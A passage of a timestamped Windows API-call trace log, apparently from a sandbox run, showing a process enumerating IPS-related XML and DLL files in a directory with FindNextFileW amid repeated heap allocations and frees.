ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de2c8 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecbf8 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x300) returned 0x9de690 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d63e8) returned 1 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de2e8 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecc80 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de308 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecd08 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de328 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecd90 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de348 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ece18 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de368 [0045.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecea0 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de388 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecf28 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de3a8 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecfb0 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de3c8 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed038 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de3e8 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed0c0 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de408 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed148 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de428 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed1d0 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de448 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed258 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de468 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed2e0 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de488 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed368 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de4a8 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed3f0 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de4c8 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed478 [0045.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x340) returned 0x9d63e8 [0045.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9de690) returned 1 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, 